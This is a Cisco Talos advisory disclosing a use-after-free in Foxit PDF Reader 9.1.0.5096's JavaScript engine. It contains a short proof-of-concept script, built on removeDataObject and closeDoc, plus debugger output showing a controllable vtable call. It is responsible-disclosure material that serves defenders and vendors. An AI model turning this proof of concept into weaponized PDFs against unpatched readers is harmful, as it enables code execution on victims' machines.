Headline
CVE-2018-3940: TALOS-2018-0607 || Cisco Talos Intelligence Group
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused. An attacker needs to trick the user to open the malicious file to trigger.
Summary
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Tested Versions
Foxit Software Foxit PDF Reader 9.1.0.5096.
Product URLs
https://www.foxitsoftware.com/products/pdf-reader/
CVSSv3 Score
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE
CWE-416: Use After Free
Details
Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.
This particular vulnerability lies in invoking the removeDataObject method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:
function main() {
var a = {};
a.toString = f;
app.activeDocs[0].removeDataObject(a);
}
function f() {
app.activeDocs[0].closeDoc();
}
main();
In the above code, we create an object a and overload its toString method to be f. Then, when removeDataObject is invoked, toString of the first argument is called, effectively closing the document and freeing a number of objects. When removeDataObject continues execution, it reuses a stale reference of a freed object, causing a crash.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(888.1050): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03f3e880 ebx=00000000 ecx=0ff70da8 edx=07451078 esi=1227fff0 edi=11f58ef0
eip=007c1bc2 esp=03f3e864 ebp=03f3e890 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x6a312:
007c1bc2 8b11 mov edx,dword ptr [ecx] ds:0023:0ff70da8=????????
0:000> !heap -p -a ecx
address 0ff70da8 found in
_DPH_HEAP_ROOT @ 7451000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
ffa1c30: ff70000 2000
6b0f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
774969cc ntdll!RtlDebugFreeHeap+0x0000002f
77459e07 ntdll!RtlpFreeHeap+0x0000005d
774263a6 ntdll!RtlFreeHeap+0x00000142
7565c614 kernel32!HeapFree+0x00000014
01bfdf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
000f08bf FoxitReader+0x000d08bf
000f28a8 FoxitReader+0x000d28a8
0023965e FoxitReader+0x0021965e
0023942b FoxitReader+0x0021942b
0024842a FoxitReader+0x0022842a
00232fd7 FoxitReader+0x00212fd7
00232df8 FoxitReader+0x00212df8
01a551ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
01a590ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
01a5917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
002309f5 FoxitReader+0x002109f5
01a5ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
01a551ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
01a590ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
01a5917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
7724c4b7 USER32!InternalCallWinProc+0x00000023
7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
77245264 USER32!SendMessageWorker+0x000004d0
77245552 USER32!SendMessageW+0x0000007c
0015bee7 FoxitReader+0x0013bee7
007c373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
007d19e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6a312:
007c1bc2 8b11 mov edx,dword ptr [ecx]
007c1bc4 8b02 mov eax,dword ptr [edx]
007c1bc6 ffd0 call eax
007c1bc8 50 push eax
007c1bc9 e842b26f00 call FoxitReader!CryptVerifyMessageSignature+0x765560 (00ebce10)
007c1bce 8d55f0 lea edx,[ebp-10h]
007c1bd1 8bcc mov ecx,esp
007c1bd3 89650c mov dword ptr [ebp+0Ch],esp
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 03f3e890 007d3069 FoxitReader!CryptVerifyMessageSignature+0x6a312
01 03f3e8ec 003a1578 FoxitReader!CryptVerifyMessageSignature+0x7b7b9
02 03f3e934 018a9b2e FoxitReader+0x381578
03 03f3e968 018a1946 FoxitReader!CryptVerifyMessageSignature+0x115227e
Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to call instruction with controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.
Timeline
2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.
Related news
Foxit PDF Editor v11.3.1 was discovered to contain an arbitrary file upload vulnerability.
Foxit PDF Reader and PDF Editor before 11.2.2 have a Type Confusion issue that causes a crash because of Unsigned32 mishandling during JavaScript execution.